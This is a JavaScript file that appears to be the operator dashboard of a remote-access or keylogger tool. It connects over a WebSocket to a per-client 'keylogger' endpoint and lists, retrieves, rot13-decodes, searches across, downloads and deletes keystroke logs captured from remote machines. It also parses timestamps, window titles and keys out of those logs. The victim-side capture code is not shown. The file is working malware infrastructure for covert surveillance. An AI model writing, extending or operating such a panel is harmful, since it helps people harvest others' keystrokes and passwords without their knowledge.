import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; import { checkFeatureAccess } from "./feature-gate.js"; const clientId = window.location.pathname.split("/")[1]; if (!clientId) { alert("Missing clientId"); location.href = "/"; } const clientLabel = document.getElementById("clientLabel"); const statusPill = document.getElementById("status-pill"); const fileList = document.getElementById("file-list"); const refreshBtn = document.getElementById("refreshBtn"); const clearBtn = document.getElementById("clearBtn"); const logViewer = document.getElementById("log-viewer"); const logContent = document.getElementById("log-content"); const viewingFilename = document.getElementById("viewing-filename"); const closeViewerBtn = document.getElementById("closeViewerBtn"); const logLines = document.getElementById("log-lines"); const logChars = document.getElementById("log-chars"); const logUpdated = document.getElementById("log-updated"); const searchInput = document.getElementById("searchInput"); const clearSearchBtn = document.getElementById("clearSearchBtn"); const searchNav = document.getElementById("searchNav"); const searchCount = document.getElementById("searchCount"); const prevMatchBtn = document.getElementById("prevMatchBtn"); const nextMatchBtn = document.getElementById("nextMatchBtn"); const searchAllBtn = document.getElementById("searchAllBtn"); const globalSearchModal = document.getElementById("globalSearchModal"); const closeGlobalSearchBtn = document.getElementById("closeGlobalSearchBtn"); const globalSearchInput = document.getElementById("globalSearchInput"); const globalSearchClearBtn = document.getElementById("globalSearchClearBtn"); const globalSearchResults = document.getElementById("globalSearchResults"); const globalSearchStats = document.getElementById("globalSearchStats"); const globalSearchProgress = document.getElementById("globalSearchProgress"); const globalSearchCount = document.getElementById("globalSearchCount"); let ws = null; let fileIndex = new Map(); let pendingDownload = null; let currentLogContent = ""; let searchMatches = []; let currentMatchIndex = -1; let globalSearchCache = new Map(); let globalSearchAbortController = null; clientLabel.textContent = clientId; function updateStatus(className, text) { statusPill.className = `pill ${className}`; statusPill.textContent = text; } function connect() { const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/keylogger/ws`; ws = new WebSocket(wsUrl); ws.binaryType = "arraybuffer"; ws.onopen = () => { console.log("Keylogger connected"); updateStatus("pill-online", "Connected"); requestFileList(); }; ws.onmessage = (event) => { const msg = decodeMsgpack(event.data); if (!msg) { console.error("Failed to decode message"); return; } handleMessage(msg); }; ws.onerror = (err) => { console.error("WebSocket error:", err); updateStatus("pill-offline", "Connection Error"); }; ws.onclose = () => { console.log("Keylogger disconnected"); updateStatus("pill-offline", "Disconnected"); setTimeout(() => connect(), 3000); }; } function send(msg) { if (ws && ws.readyState === WebSocket.OPEN) { ws.send(encodeMsgpack(msg)); } } function handleMessage(msg) { console.log("Received:", msg.type); switch (msg.type) { case "ready": console.log("Keylogger session ready"); break; case "status": if (msg.status === "offline") { updateStatus("pill-offline", "Client Offline"); } break; case "keylog_file_list": displayFileList(msg.files || []); break; case "keylog_file_content": if (pendingDownload && msg.filename === pendingDownload) { downloadLog(msg.filename, msg.content); pendingDownload = null; } else { displayFileContent(msg.filename, msg.content); } break; case "keylog_clear_result": if (msg.ok) { window.showToast("All logs cleared successfully", "success"); setTimeout(() => { window.location.reload(); }, 1000); } else { window.showToast(msg.error || "Failed to clear logs", "error"); } break; case "keylog_delete_result": if (msg.ok) { window.showToast(`Deleted ${msg.filename}`, "success"); requestFileList(); } else { window.showToast(msg.error || "Failed to delete log", "error"); } break; case "command_result": if (!msg.ok) { window.showToast(msg.message || "Command failed", "error"); } break; default: console.log("Unknown message type:", msg.type); } } function requestFileList() { send({ type: "keylog_list" }); } function requestFileContent(filename) { send({ type: "keylog_retrieve", filename }); } function requestClearAll() { send({ type: "keylog_clear_all" }); } function requestDeleteFile(filename) { send({ type: "keylog_delete", filename }); } function downloadLog(filename, content) { const decoded = rot13Decode(content || ""); const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" }); const url = URL.createObjectURL(blob); const link = document.createElement("a"); link.href = url; link.download = filename.replace(/\.log$/i, "") + "-decoded.txt"; document.body.appendChild(link); link.click(); link.remove(); URL.revokeObjectURL(url); } function displayFileList(files) { const sortedFiles = (files || []).slice().sort((a, b) => { const aTime = a?.date ? new Date(a.date).getTime() : 0; const bTime = b?.date ? new Date(b.date).getTime() : 0; return bTime - aTime; }); fileIndex = new Map(sortedFiles.map((f) => [f.name, f])); if (!sortedFiles || sortedFiles.length === 0) { fileList.innerHTML = `

No log files found

`; return; } fileList.innerHTML = sortedFiles .map( (file) => `
${escapeHtml(file.name)}
${formatBytes(file.size)} ${formatDate(file.date)}
` ) .join(""); } function displayFileContent(filename, content) { logViewer.classList.remove("hidden"); viewingFilename.textContent = filename; const decoded = rot13Decode(content || ""); currentLogContent = decoded; logContent.innerHTML = renderLogHtml(decoded); const lineCount = decoded ? decoded.split("\n").length : 0; logLines.textContent = `Lines: ${lineCount}`; logChars.textContent = `Chars: ${decoded.length}`; const meta = fileIndex.get(filename); logUpdated.textContent = `Updated: ${meta?.date ? formatDate(meta.date) : "-"}`; logContent.scrollTop = 0; resetSearch(); } function renderLogHtml(text) { const escaped = escapeHtml(text); const withTimestamps = escaped.replace( /\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g, '[$1]' ); const withWindowTitles = withTimestamps.replace( /\]\s\[([^\]]+?)\](?=\s)/g, '] [$1]' ); const withKeys = withWindowTitles.replace( /\[(?!\d{4}-\d{2}-\d{2})([^\]]+)\]/g, '[$1]' ); return withKeys; } function rot13Decode(str) { return str.replace(/[a-zA-Z]/g, (char) => { const start = char <= "Z" ? 65 : 97; return String.fromCharCode( ((char.charCodeAt(0) - start + 13) % 26) + start ); }); } function formatBytes(bytes) { if (bytes === 0) return "0 B"; const k = 1024; const sizes = ["B", "KB", "MB", "GB"]; const i = Math.floor(Math.log(bytes) / Math.log(k)); return Math.round(bytes / Math.pow(k, i) * 100) / 100 + " " + sizes[i]; } function formatDate(dateStr) { if (!dateStr) return "Unknown"; const date = new Date(dateStr); return date.toLocaleDateString() + " " + date.toLocaleTimeString(); } function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text || ""; return div.innerHTML; } function resetSearch() { searchInput.value = ""; searchMatches = []; currentMatchIndex = -1; clearSearchBtn.classList.add("hidden"); searchNav.classList.add("hidden"); if (currentLogContent) { logContent.innerHTML = renderLogHtml(currentLogContent); } } function performSearch(query) { if (!query || !currentLogContent) { resetSearch(); return; } const lowerQuery = query.toLowerCase(); const lowerContent = currentLogContent.toLowerCase(); searchMatches = []; let index = 0; while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) { searchMatches.push(index); index += query.length; } if (searchMatches.length > 0) { currentMatchIndex = 0; highlightMatches(query); scrollToMatch(0); updateSearchUI(); } else { logContent.innerHTML = renderLogHtml(currentLogContent); searchCount.textContent = "0 / 0"; searchNav.classList.remove("hidden"); prevMatchBtn.disabled = true; nextMatchBtn.disabled = true; } clearSearchBtn.classList.remove("hidden"); } function highlightMatches(query) { const escaped = escapeHtml(currentLogContent); const regex = new RegExp(escapeRegex(query), "gi"); let result = escaped.replace(regex, (match, offset) => { const matchIndex = searchMatches.indexOf(currentLogContent.toLowerCase().indexOf(match.toLowerCase(), offset)); const isCurrent = matchIndex === currentMatchIndex; return `${match}`; }); // Apply syntax highlighting result = result.replace( /\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g, '[$1]' ); result = result.replace( /\]\s\[([^\]]+?)\](?=\s)/g, '] [$1]' ); logContent.innerHTML = result; } function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } function scrollToMatch(index) { const marks = logContent.querySelectorAll("mark"); if (marks[index]) { marks[index].scrollIntoView({ behavior: "smooth", block: "center" }); } } function updateSearchUI() { searchNav.classList.remove("hidden"); searchCount.textContent = `${currentMatchIndex + 1} / ${searchMatches.length}`; prevMatchBtn.disabled = currentMatchIndex === 0; nextMatchBtn.disabled = currentMatchIndex === searchMatches.length - 1; // Update highlight classes logContent.querySelectorAll("mark").forEach((mark, idx) => { if (idx === currentMatchIndex) { mark.classList.add("search-current"); mark.classList.remove("search-match"); } else { mark.classList.remove("search-current"); mark.classList.add("search-match"); } }); } function navigateSearch(direction) { if (searchMatches.length === 0) return; if (direction === "next") { currentMatchIndex = Math.min(currentMatchIndex + 1, searchMatches.length - 1); } else { currentMatchIndex = Math.max(currentMatchIndex - 1, 0); } scrollToMatch(currentMatchIndex); updateSearchUI(); } searchInput.addEventListener("input", (e) => { performSearch(e.target.value); }); clearSearchBtn.addEventListener("click", () => { resetSearch(); }); prevMatchBtn.addEventListener("click", () => { navigateSearch("prev"); }); nextMatchBtn.addEventListener("click", () => { navigateSearch("next"); }); searchAllBtn.addEventListener("click", () => { globalSearchModal.classList.remove("hidden"); globalSearchInput.focus(); }); closeGlobalSearchBtn.addEventListener("click", () => { globalSearchModal.classList.add("hidden"); if (globalSearchAbortController) { globalSearchAbortController.abort(); globalSearchAbortController = null; } }); globalSearchModal.addEventListener("click", (e) => { if (e.target === globalSearchModal) { closeGlobalSearchBtn.click(); } }); let globalSearchTimeout = null; globalSearchInput.addEventListener("input", (e) => { const query = e.target.value.trim(); if (query.length > 0) { globalSearchClearBtn.classList.remove("hidden"); } else { globalSearchClearBtn.classList.add("hidden"); } clearTimeout(globalSearchTimeout); if (query.length < 3) { globalSearchResults.innerHTML = `

Enter at least 3 characters to search

`; globalSearchStats.classList.add("hidden"); return; } globalSearchTimeout = setTimeout(() => { performGlobalSearch(query); }, 300); }); globalSearchClearBtn.addEventListener("click", () => { globalSearchInput.value = ""; globalSearchClearBtn.classList.add("hidden"); globalSearchResults.innerHTML = `

Enter a search term to find across all log files

`; globalSearchStats.classList.add("hidden"); }); async function performGlobalSearch(query) { if (globalSearchAbortController) { globalSearchAbortController.abort(); } globalSearchAbortController = new AbortController(); const files = Array.from(fileIndex.values()); const lowerQuery = query.toLowerCase(); const results = []; globalSearchResults.innerHTML = `

Searching through ${files.length} files...

`; globalSearchStats.classList.remove("hidden"); globalSearchProgress.textContent = "Searching..."; globalSearchCount.textContent = ""; let processedCount = 0; for (const file of files) { if (globalSearchAbortController.signal.aborted) { return; } try { let content = globalSearchCache.get(file.name); if (!content) { content = await loadFileContent(file.name); globalSearchCache.set(file.name, content); } const lowerContent = content.toLowerCase(); const matches = []; let index = 0; while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) { const start = Math.max(0, index - 50); const end = Math.min(content.length, index + query.length + 50); let context = content.substring(start, end); if (start > 0) context = "..." + context; if (end < content.length) context = context + "..."; matches.push({ index, context, line: content.substring(0, index).split("\n").length }); index += query.length; } if (matches.length > 0) { results.push({ file: file.name, date: file.date, matches }); } processedCount++; globalSearchProgress.textContent = `Searched ${processedCount} / ${files.length} files`; } catch (err) { console.error(`Failed to search ${file.name}:`, err); } } displayGlobalSearchResults(results, query); } function loadFileContent(filename) { return new Promise((resolve, reject) => { let resolved = false; const timeout = setTimeout(() => { if (!resolved) { reject(new Error("Timeout loading file")); } }, 10000); const handler = (event) => { const msg = decodeMsgpack(event.data); if (msg && msg.type === "keylog_file_content" && msg.filename === filename) { clearTimeout(timeout); resolved = true; ws.removeEventListener("message", handler); resolve(rot13Decode(msg.content || "")); } }; ws.addEventListener("message", handler); send({ type: "keylog_retrieve", filename }); }); } function displayGlobalSearchResults(results, query) { const totalMatches = results.reduce((sum, r) => sum + r.matches.length, 0); globalSearchProgress.textContent = "Search complete"; globalSearchCount.textContent = `Found ${totalMatches} matches in ${results.length} files`; if (results.length === 0) { globalSearchResults.innerHTML = `

No matches found for "${escapeHtml(query)}"

`; return; } const html = results.map(result => `
${escapeHtml(result.file)} ${formatDate(result.date)}
${result.matches.length} match${result.matches.length !== 1 ? 'es' : ''}
${result.matches.slice(0, 5).map((match, idx) => `
Line ${match.line}
${highlightQueryInContext(match.context, query)}
`).join('')} ${result.matches.length > 5 ? `
+${result.matches.length - 5} more matches
` : ''}
`).join(''); globalSearchResults.innerHTML = html; } globalSearchResults.addEventListener("click", (e) => { const resultDiv = e.target.closest(".global-search-result"); if (resultDiv) { const filename = resultDiv.dataset.filename; const query = resultDiv.dataset.query; const targetIndex = parseInt(resultDiv.dataset.index, 10); openFileWithSearch(filename, query, targetIndex); } }); function highlightQueryInContext(context, query) { const escaped = escapeHtml(context); const regex = new RegExp(`(${escapeRegex(query)})`, 'gi'); return escaped.replace(regex, '$1'); } function openFileWithSearch(filename, query, targetIndex) { globalSearchModal.classList.add("hidden"); requestFileContent(filename); setTimeout(() => { searchInput.value = query; performSearch(query); if (typeof targetIndex === 'number' && searchMatches.length > 0) { setTimeout(() => { const matchIdx = searchMatches.indexOf(targetIndex); if (matchIdx !== -1) { currentMatchIndex = matchIdx; scrollToMatch(matchIdx); updateSearchUI(); } }, 100); } }, 500); } refreshBtn.addEventListener("click", () => { requestFileList(); window.showToast("Refreshing file list...", "info"); }); clearBtn.addEventListener("click", () => { if ( confirm( "Are you sure you want to clear all keylog files? This action cannot be undone." ) ) { requestClearAll(); } }); closeViewerBtn.addEventListener("click", () => { logViewer.classList.add("hidden"); }); fileList.addEventListener("click", (event) => { const target = event.target.closest("button"); if (!target) return; const filename = target.dataset.filename; if (!filename) return; if (target.classList.contains("view-log-btn")) { requestFileContent(filename); return; } if (target.classList.contains("download-log-btn")) { pendingDownload = filename; requestFileContent(filename); return; } if (target.classList.contains("delete-log-btn")) { if (confirm(`Delete ${filename}? This cannot be undone.`)) { requestDeleteFile(filename); } } }); import("/assets/nav.js"); checkFeatureAccess("keylogger", clientId).then(ok => ok && connect());